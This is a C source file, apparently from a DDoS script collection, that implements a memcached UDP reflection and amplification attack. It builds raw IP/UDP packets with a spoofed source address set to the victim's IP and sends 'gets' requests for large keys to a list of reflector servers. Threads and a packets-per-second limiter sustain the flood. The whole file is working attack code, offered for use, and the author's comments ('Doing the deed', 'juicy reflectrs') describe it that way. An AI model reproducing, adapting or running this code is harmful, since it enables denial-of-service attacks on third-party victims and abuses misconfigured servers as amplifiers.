Path: blob/master/DDOS Scripts/AMP Methods/Port 11211 - MemcacheD (bonus seeding scripts)/memcached-dynamic.c
4622 views
/*-------------------------------1Memcache 2019 - Whipping a dead horse.2Cancerous C script by Phenomite.34Generates memcacheD payload dynamically based on a list of space delimited keys.5A filter script will build the following:67Format: <ip>\t<keys>89Ranges from 1 key to `n` maximum defined in the filter script I made.10Each key will potentially be over 1mb of data, depending on the argument passed11to filter script.1213Keys will be delimited by space, meaning the other non-memcached space is a tab14(or \t). This tab will be used to space ip's from keys.1516-------------------------------*/17#include <arpa/inet.h>18#include <netinet/ip.h>19#include <netinet/udp.h>20#include <pthread.h>21#include <stdio.h>22#include <stdlib.h>23#include <string.h>24#include <sys/socket.h>25#include <time.h>26#include <unistd.h>2728#define MAX_PACKET_SIZE 409629#define PHI 0x9e3779b930static uint32_t Q[4096], c = 362436;31static unsigned int DPORT = 11211;3233struct list {34struct sockaddr_in data;35char items[512];36struct list *next;37struct list *prev;38};39struct list *head;40volatile int tehport;41volatile int limiter;42volatile unsigned int pps;43volatile unsigned int sleeptime = 100;44struct thread_data {45int thread_id;46struct list *list_node;47struct sockaddr_in sin;48};4950void init_rand(uint32_t x) {51int i;52Q[0] = x;53Q[1] = x + PHI;54Q[2] = x + PHI + PHI;55for (i = 3; i < 4096; i++) {56Q[i] = Q[i - 3] ^ Q[i - 2] ^ PHI ^ i;57}58}5960uint32_t rand_cmwc(void) {61uint64_t t, a = 18782LL;62static uint32_t i = 4095;63uint32_t x, r = 0xfffffffe;64i = (i + 1) & 4095;65t = a * Q[i] + c;66c = (t >> 32);67x = t + c;68if (x < c) {69x++;70c++;71}72return (Q[i] = r - x);73}7475/* function for header checksums */76unsigned short csum(unsigned short *buf, int nwords) {77unsigned long sum;78for (sum = 0; nwords > 0; nwords--)79sum += *buf++;80sum = (sum >> 16) + (sum & 0xffff);81sum += (sum >> 16);82return (unsigned short)(~sum);83}8485void setup_ip_header(struct iphdr *iph) {86iph->ihl = 5;87iph->version = 4;88iph->tos = 0;89iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + 1;90iph->id = htonl(rand() % 65400 + 1);91iph->frag_off = 0;92iph->ttl = MAXTTL; // 6493iph->protocol = IPPROTO_UDP;94iph->check = 0;95iph->saddr = inet_addr("127.0.0.1");96}97void setup_udp_header(struct udphdr *udph) {98udph->source = htons(rand() % 20000 + 40000);99udph->dest = htons(DPORT);100udph->check = 0;101memcpy((void *)udph + sizeof(struct udphdr), "\x01", 1);102udph->len = htons(sizeof(struct udphdr) + 1);103}104void *flood(void *par1) {105struct thread_data *td = (struct thread_data *)par1;106char datagram[MAX_PACKET_SIZE];107struct iphdr *iph = (struct iphdr *)datagram;108struct udphdr *udph = (/*u_int8_t*/ void *)iph + sizeof(struct iphdr);109struct sockaddr_in sin = td->sin;110struct list *list_node = td->list_node;111int s = socket(PF_INET, SOCK_RAW, IPPROTO_TCP);112if (s < 0) {113fprintf(stderr, "Could not open raw socket.\n");114exit(-1);115}116init_rand(time(NULL));117memset(datagram, 0, MAX_PACKET_SIZE);118setup_ip_header(iph);119setup_udp_header(udph);120udph->source = htons(rand() % 20000 + 40000);121iph->saddr = sin.sin_addr.s_addr;122iph->daddr = list_node->data.sin_addr.s_addr;123iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);124int tmp = 1;125const int *val = &tmp;126if (setsockopt(s, IPPROTO_IP, IP_HDRINCL, val, sizeof(tmp)) < 0) {127fprintf(stderr, "Error: setsockopt() - Cannot set HDRINCL!\n");128exit(-1);129}130init_rand(time(NULL));131register unsigned int i;132i = 0;133while (1) {134memset(datagram, 0, MAX_PACKET_SIZE);135136// Read in new keys for respective IP137unsigned char PAYLOAD[700];138list_node = list_node->next;139strcpy(PAYLOAD, list_node->items);140141// Edit payload and set142unsigned int payloadlen = strlen(PAYLOAD);143unsigned char newPAYLOAD[740] = "\x00\x01\x00\x00\x00\x01\x00\x00gets\x20";144memcpy(newPAYLOAD + 13, PAYLOAD, payloadlen);145memcpy(newPAYLOAD + 13 + payloadlen, "\n", 1);146unsigned int PAYLOADSIZE = payloadlen + 14;147148iph->ihl = 5;149iph->version = 4;150iph->tos = 0;151iph->tot_len = sizeof(struct iphdr) + sizeof(struct udphdr) + PAYLOADSIZE;152// iph->id = htonl(rand() % 65337 + 1);153iph->frag_off = 0;154iph->ttl = MAXTTL; // 64155iph->protocol = IPPROTO_UDP;156iph->check = 0;157iph->saddr = sin.sin_addr.s_addr;158iph->daddr = list_node->data.sin_addr.s_addr;159// iph->saddr = sin.sin_addr.s_addr;160iph->id = htonl(rand_cmwc() & 0xFFFFFFFF);161162iph->check = csum((unsigned short *)datagram, iph->tot_len >> 1);163164udph->source = htons(rand() % 65337 + 80);165udph->dest = htons(DPORT);166udph->check = 0;167memcpy((void *)udph + sizeof(struct udphdr), newPAYLOAD, PAYLOADSIZE);168udph->len = htons(sizeof(struct udphdr) + PAYLOADSIZE);169170sendto(s, datagram, iph->tot_len, 0, (struct sockaddr *)&list_node->data,171sizeof(list_node->data));172pps++;173if (i >= limiter) {174i = 0;175usleep(sleeptime);176}177i++;178}179}180void processMemPayload(char *lineStr, int lineIter) {181int x;182int bufferingSection = 0;183char ipBuffer[32] = ""; // Store ip184char payloadBuffer[700] =185""; // Will cause a segfault if filtered list exceeds this186for (x = 0; x < strlen(lineStr); x++) {187// Basically stop assigning chars to ip buffer when you hit a tab (meaning188// you now are loading the payload) Reasoning for this is:189// 1. I want multiple keys in the "payload" with spaces to separate190// 2. The other memecache control character other than space is thus tab.191if ((lineStr[x] == '\t') || (lineStr[x] == '\n') || (lineStr[x] == '\r')) {192// buffer[strlen(buffer) - 1] = 0x00;193bufferingSection++;194continue;195}196if (bufferingSection == 1) {197payloadBuffer[strlen(payloadBuffer)] = (char)lineStr[x];198} else if (bufferingSection == 0) {199ipBuffer[strlen(ipBuffer)] = (char)lineStr[x];200}201}202203if (head == NULL) {204head = (struct list *)malloc(sizeof(struct list));205bzero(&head->data, sizeof(head->data));206head->data.sin_addr.s_addr = inet_addr(ipBuffer);207strcpy(head->items, payloadBuffer);208head->next = head;209head->prev = head;210} else {211struct list *new_node = (struct list *)malloc(sizeof(struct list));212memset(new_node, 0x00, sizeof(struct list));213new_node->data.sin_addr.s_addr = inet_addr(ipBuffer);214strcpy(new_node->items, payloadBuffer);215new_node->prev = head;216new_node->next = head->next;217head->next = new_node;218}219}220int main(int argc, char *argv[]) {221if (argc < 6) {222fprintf(stdout, "Phenom Meme Poc: %s host port ref-file thread pps time\n",223argv[0]);224exit(-1);225}226srand(time(NULL));227int i = 0;228head = NULL;229fprintf(stdout, "Loading up those juicy reflectrs\n");230int max_len = 700;231char *buffer = (char *)malloc(max_len);232buffer = memset(buffer, 0x00, max_len);233int num_threads = atoi(argv[4]);234int maxpps = atoi(argv[5]);235limiter = 0;236pps = 0;237int multiplier = 20;238FILE *list_fd = fopen(argv[3], "r");239while (fgets(buffer, max_len, list_fd) != NULL) {240processMemPayload(buffer, i);241i++;242}243struct list *current = head->next;244pthread_t thread[num_threads];245struct sockaddr_in sin;246sin.sin_family = AF_INET;247sin.sin_addr.s_addr = inet_addr(argv[1]);248struct thread_data td[num_threads];249for (i = 0; i < num_threads; i++) {250td[i].thread_id = i;251td[i].sin = sin;252td[i].list_node = current;253pthread_create(&thread[i], NULL, &flood, (void *)&td[i]);254}255fprintf(stdout, "Doing the deed\n");256for (i = 0; i < (atoi(argv[6]) * multiplier); i++) {257usleep((1000 / multiplier) * 1000);258if ((pps * multiplier) > maxpps) {259if (1 > limiter) {260sleeptime += 100;261} else {262limiter--;263}264} else {265limiter++;266if (sleeptime > 25) {267sleeptime -= 25;268} else {269sleeptime = 0;270}271}272pps = 0;273}274return 0;275}276277